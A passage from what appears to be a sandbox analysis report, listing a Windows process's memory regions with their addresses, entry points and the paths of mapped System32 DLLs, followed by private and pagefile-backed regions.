"shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 2480 start_va = 0x7fefa5d0000 end_va = 0x7fefa5e7fff monitored = 0 entry_point = 0x7fefa5d1bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2481 start_va = 0x7fefa5f0000 end_va = 0x7fefa600fff monitored = 0 entry_point = 0x7fefa5f16ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2482 start_va = 0x7fefa700000 end_va = 0x7fefa752fff monitored = 0 entry_point = 0x7fefa702b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2483 start_va = 0x7fefa870000 end_va = 0x7fefa87afff monitored = 0 entry_point = 0x7fefa871198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2484 start_va = 0x7fefa880000 end_va = 0x7fefa8a6fff monitored = 0 entry_point = 0x7fefa8898bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2485 start_va = 0x7fefa8b0000 end_va = 0x7fefa8c3fff monitored = 0 entry_point = 0x7fefa8b3e64 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 2486 start_va = 0x7fefa8e0000 end_va = 0x7fefa946fff monitored = 0 entry_point = 0x7fefa8f6060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 2487 start_va = 0x7fefa950000 end_va = 0x7fefa95afff monitored = 0 entry_point = 0x7fefa954f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 2488 start_va = 0x7fefa960000 end_va = 0x7fefa96bfff monitored = 0 entry_point = 0x7fefa9615d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 2489 start_va = 0x7fefa970000 end_va = 0x7fefa97ffff monitored = 0 entry_point = 0x7fefa97835c region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 2490 start_va = 0x7fefa980000 end_va = 0x7fefa998fff monitored = 0 entry_point = 0x7fefa9811a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 2491 start_va = 0x7fefa9a0000 end_va = 0x7fefa9d6fff monitored = 0 entry_point = 0x7fefa9a8424 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 2492 start_va = 0x7fefa9e0000 end_va = 0x7fefa9f4fff monitored = 0 entry_point = 0x7fefa9e60d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2493 start_va = 0x7fefaa00000 end_va = 0x7fefaac1fff monitored = 0 entry_point = 0x7fefaa0101c region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 2494 start_va = 0x7fefad20000 end_va = 0x7fefad2dfff monitored = 0 entry_point = 0x7fefad25500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2495 start_va = 0x7fefad30000 end_va = 0x7fefad40fff monitored = 0 entry_point = 0x7fefad314c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 2496 start_va = 0x7fefad50000 end_va = 0x7fefade1fff monitored = 0 entry_point = 0x7fefadc51ec region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 2497 start_va = 0x7fefadf0000 end_va = 0x7fefae66fff monitored = 0 entry_point = 0x7fefae2e7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 2498 start_va = 0x7fefae70000 end_va = 0x7fefae83fff monitored = 0 entry_point = 0x7fefae716b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 2499 start_va = 0x7fefae90000 end_va = 0x7fefaea4fff monitored = 0 entry_point = 0x7fefae91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2500 start_va = 0x7fefaeb0000 end_va = 0x7fefaebbfff monitored = 0 entry_point = 0x7fefaeb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2501 start_va = 0x7fefaec0000 end_va = 0x7fefaed5fff monitored = 0 entry_point = 0x7fefaec11a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2502 start_va = 0x7fefaee0000 end_va = 0x7fefaf19fff monitored = 0 entry_point = 0x7fefaefd020 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 2503 start_va = 0x7fefafd0000 end_va = 0x7fefafe0fff monitored = 0 entry_point = 0x7fefafd9e7c region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 2504 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2505 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 2506 start_va = 0x7fefb570000 end_va = 0x7fefb5c5fff monitored = 0 entry_point = 0x7fefb57bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2507 start_va = 0x7fefb5d0000 end_va = 0x7fefb5ecfff monitored = 0 entry_point = 0x7fefb5d1ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 2508 start_va = 0x7fefb620000 end_va = 0x7fefb813fff monitored = 0 entry_point = 0x7fefb7ac924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 2509 start_va = 0x7fefbb30000 end_va = 0x7fefbb38fff monitored = 0 entry_point = 0x7fefbb31010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 2510 start_va = 0x7fefbb40000 end_va = 0x7fefbc6bfff monitored = 0 entry_point = 0x7fefbb494bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 2511 start_va = 0x7fefbda0000 end_va = 0x7fefbdccfff monitored = 0 entry_point = 0x7fefbda1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2512 start_va = 0x7fefbf70000 end_va = 0x7fefbf7bfff monitored = 0 entry_point = 0x7fefbf71064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2513 start_va = 0x7fefbf80000 end_va = 0x7fefc03afff monitored = 0 entry_point = 0x7fefbf86de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 2514 start_va = 0x7fefc040000 end_va = 0x7fefc046fff monitored = 0 entry_point = 0x7fefc0414b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2515 start_va = 0x7fefc130000 end_va = 0x7fefc14afff monitored = 0 entry_point = 0x7fefc132068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2516 start_va = 0x7fefc150000 end_va = 0x7fefc16dfff monitored = 0 entry_point = 0x7fefc1513b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2517 start_va = 0x7fefc170000 end_va = 0x7fefc181fff monitored = 0 entry_point = 0x7fefc171060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 2518 start_va = 0x7fefc190000 end_va = 0x7fefc1aefff monitored = 0 entry_point = 0x7fefc195c68 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 2519 start_va = 0x7fefc260000 end_va = 0x7fefc298fff monitored = 0 entry_point = 0x7fefc26c0f0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 2520 start_va = 0x7fefc2a0000 end_va = 0x7fefc2a9fff monitored = 0 entry_point = 0x7fefc2a3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2521 start_va = 0x7fefc2b0000 end_va = 0x7fefc2bcfff monitored = 0 entry_point = 0x7fefc2b1348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 2522 start_va = 0x7fefc3a0000 end_va = 0x7fefc3e6fff monitored = 0 entry_point = 0x7fefc3a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2523 start_va = 0x7fefc490000 end_va = 0x7fefc4bffff monitored = 0 entry_point = 0x7fefc49194c region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 2524 start_va = 0x7fefc4c0000 end_va = 0x7fefc51afff monitored = 0 entry_point = 0x7fefc4c6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2525 start_va = 0x7fefc630000 end_va = 0x7fefc636fff monitored = 0 entry_point = 0x7fefc63142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2526 start_va = 0x7fefc640000 end_va = 0x7fefc694fff monitored = 0 entry_point = 0x7fefc641054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2527 start_va = 0x7fefc6a0000 end_va = 0x7fefc6b7fff monitored = 0 entry_point = 0x7fefc6a3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2528 start_va = 0x7fefc7b0000 end_va = 0x7fefc7e1fff monitored = 0 entry_point = 0x7fefc7b144c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 2529 start_va = 0x7fefc7f0000 end_va = 0x7fefc7f7fff monitored = 0 entry_point = 0x7fefc7f2a6c region_type = mapped_file name = "wmsgapi.dll" filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll") Region: id = 2530 start_va = 0x7fefc800000 end_va = 0x7fefc809fff monitored = 0 entry_point = 0x7fefc803b40 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 2531 start_va = 0x7fefc810000 end_va = 0x7fefc831fff monitored = 0 entry_point = 0x7fefc815d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2532 start_va = 0x7fefc890000 end_va = 0x7fefc8befff monitored = 0 entry_point = 0x7fefc891064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 2533 start_va = 0x7fefc8d0000 end_va = 0x7fefc93cfff monitored = 0 entry_point = 0x7fefc8d1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2534 start_va = 0x7fefc940000 end_va = 0x7fefc953fff monitored = 0 entry_point = 0x7fefc944160 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 2535 start_va = 0x7fefcba0000 end_va = 0x7fefcbc2fff monitored = 0 entry_point = 0x7fefcba1198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2536 start_va = 0x7fefcc40000 end_va = 0x7fefcc4afff monitored = 0 entry_point = 0x7fefcc41030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2537 start_va = 0x7fefcc70000 end_va = 0x7fefcc94fff monitored = 0 entry_point = 0x7fefcc79658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2538 start_va = 0x7fefcca0000 end_va = 0x7fefccaefff monitored = 0 entry_point = 0x7fefcca1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2539 start_va = 0x7fefccb0000 end_va = 0x7fefcd40fff monitored = 0 entry_point = 0x7fefccb1440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 2540 start_va = 0x7fefcd50000 end_va = 0x7fefcd8cfff monitored = 0 entry_point = 0x7fefcd518f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2541 start_va = 0x7fefcd90000 end_va = 0x7fefcda3fff monitored = 0 entry_point = 0x7fefcd910e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2542 start_va = 0x7fefcdb0000 end_va = 0x7fefcdbefff monitored = 0 entry_point = 0x7fefcdb19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2543 start_va = 0x7fefce50000 end_va = 0x7fefce5efff monitored = 0 entry_point = 0x7fefce51020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2544 start_va = 0x7fefce60000 end_va = 0x7fefcecbfff monitored = 0 entry_point = 0x7fefce62780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2545 start_va = 0x7fefced0000 end_va = 0x7fefcf05fff monitored = 0 entry_point = 0x7fefced1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2546 start_va = 0x7fefcf10000 end_va = 0x7fefcf29fff monitored = 0 entry_point = 0x7fefcf11558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2547 start_va = 0x7fefcf30000 end_va = 0x7fefcf6afff monitored = 0 entry_point = 0x7fefcf31324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 2548 start_va = 0x7fefcf70000 end_va = 0x7fefd0dcfff monitored = 0 entry_point = 0x7fefcf710b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2549 start_va = 0x7fefd180000 end_va = 0x7fefd382fff monitored = 0 entry_point = 0x7fefd1a3330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2550 start_va = 0x7fefd390000 end_va = 0x7fefd3bdfff monitored = 0 entry_point = 0x7fefd391010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2551 start_va = 0x7fefd3c0000 end_va = 0x7fefd49afff monitored = 0 entry_point = 0x7fefd3e0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2552 start_va = 0x7fefd4a0000 end_va = 0x7fefd5ccfff monitored = 0 entry_point = 0x7fefd4eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2553 start_va = 0x7fefd5d0000 end_va = 0x7fefd640fff monitored = 0 entry_point = 0x7fefd5e1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2554 start_va = 0x7fefd650000 end_va = 0x7fefd758fff monitored = 0 entry_point = 0x7fefd651064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2555 start_va = 0x7fefd760000 end_va = 0x7fefd7b1fff monitored = 0 entry_point = 0x7fefd7610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2556 start_va = 0x7fefd7c0000 end_va = 0x7fefd996fff monitored = 0 entry_point = 0x7fefd7c1010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2557 start_va = 0x7fefda20000 end_va = 0x7fefda86fff monitored = 0 entry_point = 0x7fefda2b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2558 start_va = 0x7fefda90000 end_va = 0x7fefda9dfff monitored = 0 entry_point = 0x7fefda91080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2559 start_va = 0x7fefdaa0000 end_va = 0x7fefdaa7fff monitored = 0 entry_point = 0x7fefdaa1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2560 start_va = 0x7fefdb50000 end_va = 0x7fefdbe8fff monitored = 0 entry_point = 0x7fefdb51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2561 start_va = 0x7fefdbf0000 end_va = 0x7fefdcb8fff monitored = 0 entry_point = 0x7fefdc6a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2562 start_va = 0x7fefdcc0000 end_va = 0x7fefdd96fff monitored = 0 entry_point = 0x7fefdcc3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2563 start_va = 0x7fefdda0000 end_va = 0x7fefddecfff monitored = 0 entry_point = 0x7fefdda1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2564 start_va = 0x7fefddf0000 end_va = 0x7fefeb77fff monitored = 0 entry_point = 0x7fefde6cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2565 start_va = 0x7fefeb80000 end_va = 0x7fefeb9efff monitored = 0 entry_point = 0x7fefeb860e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2566 start_va = 0x7feff0d0000 end_va = 0x7feff16efff monitored = 0 entry_point = 0x7feff0d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2567 start_va = 0x7feff180000 end_va = 0x7feff180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2568 start_va = 0x7fffff4a000 end_va = 0x7fffff4bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff4a000" filename = "" Region: id = 2569 start_va = 0x7fffff4c000 end_va = 0x7fffff4dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff4c000" filename = "" Region: id = 2570 start_va = 0x7fffff50000 end_va = 0x7fffff51fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff50000" filename = "" Region: id = 2571 start_va = 0x7fffff52000 end_va = 0x7fffff53fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff52000" filename = "" Region: id = 2572 start_va = 0x7fffff56000 end_va = 0x7fffff57fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff56000" filename = "" Region: id = 2573 start_va = 0x7fffff5c000 end_va = 0x7fffff5dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5c000" filename = "" Region: id = 2574 start_va = 0x7fffff5e000 end_va = 0x7fffff5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5e000" filename = "" Region: id = 2575 start_va = 0x7fffff60000 end_va = 0x7fffff61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff60000" filename = "" Region: id = 2576 start_va = 0x7fffff64000 end_va = 0x7fffff65fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff64000" filename = "" Region: id = 2577 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 2578 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 2579 start_va = 0x7fffff70000 end_va = 0x7fffff71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 2580 start_va = 0x7fffff74000 end_va = 0x7fffff75fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 2581 start_va = 0x7fffff76000 end_va = 0x7fffff77fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 2582 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 2583 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 2584 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 2585 start_va = 0x7fffff80000 end_va = 0x7fffff81fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 2586 start_va = 0x7fffff84000 end_va = 0x7fffff85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 2587 start_va = 0x7fffff86000 end_va = 0x7fffff87fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 2588 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 2589 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 2590 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 2591 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 2592 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 2593 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 2594 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2595 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2596 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2597 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2598 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2599 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2600 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2601 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2602 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2603 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2604 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2605 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2606 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2607 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored 